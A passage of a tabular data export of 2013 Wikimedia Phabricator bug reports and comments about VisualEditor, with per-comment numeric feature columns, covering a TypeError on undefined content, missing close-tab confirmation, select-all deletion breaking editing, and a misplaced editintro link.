Really, though, content shouldn't be undefined in the first place.",,,1375141400,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3h7v3emjhhqinh5o5aqf,task_subcomment,,True,c1,3,False,,,4,,3.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,3.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,20.0,1.0,5.0,6.0,0.0,1.0,0.0,1.0,5.0,0.0,1.0,0.0,3.0,8.0,15.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.3417721518987342,0.5822784810126582,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
It's much easier than that, you can just do if ( content && content.params ) . No need to use typeof and string comparisons and all that :)

Really, though, content shouldn't be undefined in the first place."
245080,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'params' of undefined 'content'""","> > >      if (content.params) {

If we had used coffescript instead of plain JS, it would be so simple to write that as:
 if content?.params
   ...

Now I assume we'll need to do it manually as
  if (typeof content !== ""undefined"" && content !== null && content.params) {
    ...
  }",,,1375047772,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-3h7v3emjhhqinh5o5aqf,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,5.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,6.0,12.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,2.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,8.0,5.0,6.0,2.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,9.0,12.0,6.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3181818181818183,0.7424242424242424,"QUOTE

If we had used coffescript instead of plain JS, it would be so simple to write that as:
 if content?.params
   ...

Now I assume we'll need to do it manually as
  if (typeof content !== ""undefined"" && content !== null && content.params) {
    ...
  }"
245075,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'params' of undefined 'content'""","1. Insert Transclusion
2. Ignore ""New template"" panel in the dialog and go to ""+ [] Add content""
3. Type ""x""
4. Apply changes
5. > Uncaught TypeError: content is undefined
http://bits.wikimedia.org/static-1.22wmf11/extensions/VisualEditor/modules/ve-mw/dm/nodes/ve.dm.MWTransclusionNode.js:192

>    ve.dm.MWTransclusionNode.prototype.getWikitext = function() {
>        var i, len, part, template, param, content = this.getAttribute('mw'), wikitext = '';
> >      if (content.params) {
>            content = {'parts': [{'template': content}]};
>        }

Uncaught TypeError: Cannot read property 'params' of undefined
ve.dm.MWTransclusionNode.getWikitext
ve.ce.MWTransclusionNode.generateContents
ve.ce.GeneratedContentNode.onUpdate
VeCeGeneratedContentNode
VeCeMWTransclusionNode
VeCeMWTransclusionInlineNode
ve.Factory.create
ve.ce.BranchNode.onSplice
ve.ce.ContentBranchNode.onSplice
oo.EventEmitter.emit
ve.dm.BranchNode.splice
ve.insertIntoArray
ve.dm.Document.rebuildNodes
ve.dm.DocumentSynchronizer.synchronizers.rebuild
ve.dm.DocumentSynchronizer.synchronize
ve.dm.TransactionProcessor.process
ve.dm.Document.commit
ve.dm.Surface.change
ve.dm.SurfaceFragment.insertContent
ve.ui.MWTransclusionDialog.onClose
ve.ui.Window.close
(anonymous function)
proxy",,,1375045603,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3h7v3emjhhqinh5o5aqf,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.5,3.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,17.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,2.5,0.0,0.0,1.5,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.3768115942028984,0.5652173913043479,"1. Insert Transclusion
2. Ignore ""New template"" panel in the dialog and go to ""+ [] Add content""
3. Type ""x""
4. Apply changes
5. > Uncaught TypeError: content is undefined
URL

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Uncaught TypeError: Cannot read property 'params' of undefined
ve.dm.MWTransclusionNode.getWikitext
ve.ce.MWTransclusionNode.generateContents
ve.ce.GeneratedContentNode.onUpdate
VeCeGeneratedContentNode
VeCeMWTransclusionNode
VeCeMWTransclusionInlineNode
ve.Factory.create
ve.ce.BranchNode.onSplice
ve.ce.ContentBranchNode.onSplice
oo.EventEmitter.emit
ve.dm.BranchNode.splice
ve.insertIntoArray
ve.dm.Document.rebuildNodes
ve.dm.DocumentSynchronizer.synchronizers.rebuild
ve.dm.DocumentSynchronizer.synchronize
ve.dm.TransactionProcessor.process
ve.dm.Document.commit
ve.dm.Surface.change
ve.dm.SurfaceFragment.insertContent
ve.ui.MWTransclusionDialog.onClose
ve.ui.Window.close
(anonymous function)
proxy"
54169,VisualEditor doesn't confirm closing window,"Unlike the standard source editing windows, VE doesn't confirm closing the page if you have made changes, making it very easy to accidentally close a tab and lose all of your edits.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374988380,1390417310.0,PHID-USER-ea6gwat27oulytc5tvsy,False,,False,PHID-TASK-nuh252st2e54ff56mbpe,task_description,declined,True,c1,3,False,False,False,3,,2.0,0.0,2.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,7.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,7.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,4.111111111111111,0.7962962962962963,"Unlike the standard source editing windows, VE doesn't confirm closing the page if you have made changes, making it very easy to accidentally close a tab and lose all of your edits.

--------------------------
**Version**: unspecified
**Severity**: normal"
243401,VisualEditor doesn't confirm closing window,Yeah I can confirm as well. Not sure when it started working again.,,,1390434737,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-nuh252st2e54ff56mbpe,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,3.6666666666666665,0.9333333333333333,Yeah I can confirm as well. Not sure when it started working again.
243398,VisualEditor doesn't confirm closing window,"For the record: going to
https://en.wikipedia.org/wiki/Mykola_Labovskyy?veaction=edit
and typing anithing, and then closing the browser tab causes the warning ""Are you sure you want to go back to view mode without saving first?""",,,1390418026,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-nuh252st2e54ff56mbpe,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,13.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,8.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,13.0,0.0,3.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.641025641025641,0.7948717948717948,"For the record: going to
URL
and typing anithing, and then closing the browser tab causes the warning ""Are you sure you want to go back to view mode without saving first?"""
243394,VisualEditor doesn't confirm closing window,"I'm going to close this as WORKSFORME because it does (and always has), and the bug report gives no details of how to reproduce. Please re-open if you have steps to reproduce.

Sorry for very slow triage.",,,1390417310,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nuh252st2e54ff56mbpe,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,6.0,4.0,6.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,6.0,19.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.595744680851064,0.8723404255319149,"I'm going to close this as WORKSFORME because it does (and always has), and the bug report gives no details of how to reproduce. Please re-open if you have steps to reproduce.

Sorry for very slow triage."
54155,"VisualEditor: ""Wikitext markup detected"" message should disappear automatically when there's no more wikitext","""Wikitext markup detected"" message should disappear automatically when there's no more wikitext. Now the user must click it to make it go away.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374947400,1375381691.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-t6h3rucl4ojovdzxkq66,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,9.0,2.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.195652173913044,0.7391304347826086,"""Wikitext markup detected"" message should disappear automatically when there's no more wikitext. Now the user must click it to make it go away.

--------------------------
**Version**: unspecified
**Severity**: normal"
242535,"VisualEditor: ""Wikitext markup detected"" message should disappear automatically when there's no more wikitext","

%%%*** This bug has been marked as a duplicate of bug 51701 ***%%%",,,1375381691,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-t6h3rucl4ojovdzxkq66,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.5416666666666666,"

%%%*** This bug has been marked as a duplicate of bug 51701 ***%%%"
54125,"VisualEditor - Using ""Select all"" (Ctrl+a) and deleting the selected content afterwards leaves the document uneditable.","Tested on Firefox 22, Monobook and Vector skin. DOES NOT seem to affect Chrome 28 on Vector.

Steps to reproduce:
- Open the [[Olive Branch High School]] in the visual editor.
- Press CTRL+A to select everything on the page.
- Press Delete.

The result will be that the entire document becomes uneditable since there is no editable section anymore that the user can click. The console will report the error:
- ""TypeError: node is null""

If you don't click anywhere else after pressing delete and start typing the visual editor will behave extremely wonkey. I have seen behavior that ranged from adding an unending steam of pawns to cursor focus jumping all over the page. Additionally, the console will fill with a hailstorm of errors (Below is just a small sample). 
- Error: ve.dm.Document.getNodeFromOffset(): offset -1 is out of bounds 
- TypeError: parent is null 
- Error: Unbalanced set of replace operations found 
- Error: Unbalanced input passed to document
- Error: Invalid retain length, cannot retain backwards

The above is likely just a consequence of the deletion . If i look at firebug's output it seems that Ctrl+A will delete these lines:

<p data-parsoid=""{&quot;dsr&quot;:[0,45,0,0]}"" class=""ve-ce-branchNode"">
<span class=""ve-ce-branchNode-slug ve-ce-branchNode-inlineSlug"">&#65279;</span></p>

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374877260,1375199198.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-3ew3gilga74djx2te24b,task_description,resolved,True,c1,3,False,False,True,3,,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,1.0,7.0,2.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,4.333333333333333,8.666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,1.6666666666666667,0.3333333333333333,4.333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,2.3333333333333335,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,13.666666666666666,0.0,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,5.666666666666667,2.3333333333333335,13.0,2.0,0.6666666666666666,6.333333333333333,0.0,0.0,0.0,0.0,5.0,0.0,0.6666666666666666,0.0,1.3333333333333333,8.666666666666666,9.0,0.0,1.3333333333333333,0.0,1.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.0,1.3333333333333333,0.0,0.0,2.3333333333333335,4.065587851302137,0.6950113378684807,"Tested on Firefox 22, Monobook and Vector skin. DOES NOT seem to affect Chrome 28 on Vector.

Steps to reproduce:
- Open the [[Olive Branch High School]] in the visual editor.
- Press CTRL+A to select everything on the page.
- Press Delete.

The result will be that the entire document becomes uneditable since there is no editable section anymore that the user can click. The console will report the error:
- ""TypeError: node is null""

If you don't click anywhere else after pressing delete and start typing the visual editor will behave extremely wonkey. I have seen behavior that ranged from adding an unending steam of pawns to cursor focus jumping all over the page. Additionally, the console will fill with a hailstorm of errors (Below is just a small sample). 
- Error: ve.dm.Document.getNodeFromOffset(): offset -1 is out of bounds 
- TypeError: parent is null 
- Error: Unbalanced set of replace operations found 
- Error: Unbalanced input passed to document
- Error: Invalid retain length, cannot retain backwards

The above is likely just a consequence of the deletion . If i look at firebug's output it seems that Ctrl+A will delete these lines:

<p data-parsoid=""{&quot;dsr&quot;:[0,45,0,0]}"" class=""ve-ce-branchNode"">
<span class=""ve-ce-branchNode-slug ve-ce-branchNode-inlineSlug"">&#65279;</span></p>

--------------------------
**Version**: unspecified
**Severity**: normal"
240932,"VisualEditor - Using ""Select all"" (Ctrl+a) and deleting the selected content afterwards leaves the document uneditable.","This is a duplicate of bug 50947 - merging.

*** This bug has been marked as a duplicate of bug 50947 ***",,,1375199198,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3ew3gilga74djx2te24b,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0357142857142856,0.5714285714285714,"This is a duplicate of bug 50947 - merging.

*** This bug has been marked as a duplicate of bug 50947 ***"
240925,"VisualEditor - Using ""Select all"" (Ctrl+a) and deleting the selected content afterwards leaves the document uneditable.","On Firefox I can get pawns too, or keypresses causing the character to appear twice, if I do
1. Control-A
2. Delete
3. type 'a'

But the page becomes unusable if I follow these steps:
1. Control-A
2. Delete
3. Click on the link icon, or anything else
4. type a- doesnt work",,,1374905359,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3ew3gilga74djx2te24b,task_subcomment,,True,c1,3,False,,,3,,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,5.0,6.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,3.0,4.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,0.0,4.0,6.0,6.0,0.0,3.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,4.0,2.8987341772151898,0.6329113924050633,"On Firefox I can get pawns too, or keypresses causing the character to appear twice, if I do
1. Control-A
2. Delete
3. type 'a'

But the page becomes unusable if I follow these steps:
1. Control-A
2. Delete
3. Click on the link icon, or anything else
4. type a- doesnt work"
240917,"VisualEditor - Using ""Select all"" (Ctrl+a) and deleting the selected content afterwards leaves the document uneditable.","Slight alteration: Chrome 28 does seem to be affected after all, though the problem is less severe.

(Chrome)
- Open the [[Nodeulseom]] in the visual editor.
- Press CTRL+A to select everything on the page.
- Press Delete.

Chrome will place a pawn (♙) in the article as soon as one starts typing after the deletion. Often this pawn is also a hyperlink. Firefox will behave in a similar fashion on this specific page.

Both Chrome and Firefox report a single error in the console:
""Error: Offset could not be translated to a DOM element and offset: 3""

This is probably because the article in this instance isn't blanked entirely. Ctrl+a followed by delete doesn't seem to delete the categories present in the article.",,,1374880550,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-3ew3gilga74djx2te24b,task_subcomment,,True,c1,3,False,,,3,,0.5,0.5,0.5,2.0,2.0,4.5,2.0,0.5,0.5,0.0,4.5,1.5,0.0,0.0,0.0,0.0,0.0,7.0,9.5,0.5,1.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,5.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,10.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.5,3.5,11.0,1.0,2.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,9.5,8.0,0.0,1.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.5,0.0,2.0,3.8164556962025316,0.6772151898734178,"Slight alteration: Chrome 28 does seem to be affected after all, though the problem is less severe.

(Chrome)
- Open the [[Nodeulseom]] in the visual editor.
- Press CTRL+A to select everything on the page.
- Press Delete.

Chrome will place a pawn (♙) in the article as soon as one starts typing after the deletion. Often this pawn is also a hyperlink. Firefox will behave in a similar fashion on this specific page.

Both Chrome and Firefox report a single error in the console:
""Error: Offset could not be translated to a DOM element and offset: 3""

This is probably because the article in this instance isn't blanked entirely. Ctrl+a followed by delete doesn't seem to delete the categories present in the article."
54124,VisualEditor or Parsoid: Breaks and partially duplicates html tag,"en.wp editor DragonsFlight reports a strange diff at https://en.wikipedia.org/w/index.php?title=Axial_precession&diff=next&oldid=565790907 where a <br clear=all> was duplicated minus the leading <

Possibly related to bug 51304?

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374877200,1379848985.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-oqjy24dqtbqambra54dm,task_description,declined,True,c1,3,False,False,True,3,,2.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,10.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,6.0,4.083333333333333,0.75,"en.wp editor DragonsFlight reports a strange diff at URL where a <br clear=all> was duplicated minus the leading <

Possibly related to bug 51304?

--------------------------
**Version**: unspecified
**Severity**: normal"
240895,VisualEditor or Parsoid: Breaks and partially duplicates html tag,"Can't reproduce; probably a transient Parsoid DSR and off-by-one error, given the issue. Marking as ""WORKSFORME"", but please re-open if it recurs or further information is available.",,,1379848985,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oqjy24dqtbqambra54dm,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,12.0,2.0,7.0,5.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,2.0,12.0,7.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8048780487804876,0.8780487804878049,"Can't reproduce; probably a transient Parsoid DSR and off-by-one error, given the issue. Marking as ""WORKSFORME"", but please re-open if it recurs or further information is available."
240890,VisualEditor or Parsoid: Breaks and partially duplicates html tag,"Given the proximity of the image, im guessing this is bug 52107.",,,1375737774,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-oqjy24dqtbqambra54dm,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,7.0,7.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.533333333333333,0.9333333333333333,"Given the proximity of the image, im guessing this is bug 52107."
54116,VisualEditor - EditIntro is incorrectly linked in the monobook skin.,"(Tested on Firefox 22)

It seems that the ""&editintro=Template:BLP_editintro"" URL is accidentally reversed on Monobook. 

Steps to reproduce:
(Vector - Working correctly)
- Navigate to [[Martin J. Silverstein]].
-- The ""Edit"" link will be: https://en.wikipedia.org/wiki/Martin_J._Silverstein?veaction=edit
-- The ""Edit Source"" link will be: https://en.wikipedia.org/w/index.php?title=Martin_J._Silverstein&action=edit&editintro=Template:BLP_editintro

(Monobook - Working incorrectly)
- Navigate to [[Martin J. Silverstein]].
-- The ""Edit"" link will be: https://en.wikipedia.org/wiki/Martin_J._Silverstein?veaction=edit&editintro=Template:BLP_editintro
-- The ""Edit Source"" link will be: https://en.wikipedia.org/w/index.php?title=Martin_J._Silverstein&action=edit

As far as i can see only the source editor can load a template when using the ""EditIntro"" parameter in the URL. In monobook, it seems that the EditIntro parameter is accidentally added to the Visual Editor link instead of the Edit Source link.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374873360,1385398255.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-jwf46mqjltex4ny7fpad,task_description,invalid,True,c1,3,False,False,False,3,,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.5,0.0,0.5,0.0,5.0,6.5,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,2.0,0.0,2.0,0.5,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,11.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,6.5,3.0,23.5,1.5,0.5,6.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,1.5,6.5,13.0,0.0,6.5,0.0,1.5,0.0,0.5,0.5,0.0,1.0,0.0,0.0,3.0,3.519827998088868,0.5302197802197802,"(Tested on Firefox 22)

It seems that the ""&editintro=Template:BLP_editintro"" URL is accidentally reversed on Monobook. 

Steps to reproduce:
(Vector - Working correctly)
- Navigate to [[Martin J. Silverstein]].
-- The ""Edit"" link will be: URL
-- The ""Edit Source"" link will be: URL

(Monobook - Working incorrectly)
- Navigate to [[Martin J. Silverstein]].
-- The ""Edit"" link will be: URL
-- The ""Edit Source"" link will be: URL

As far as i can see only the source editor can load a template when using the ""EditIntro"" parameter in the URL. In monobook, it seems that the EditIntro parameter is accidentally added to the Visual Editor link instead of the Edit Source link.

--------------------------
**Version**: unspecified
**Severity**: normal"
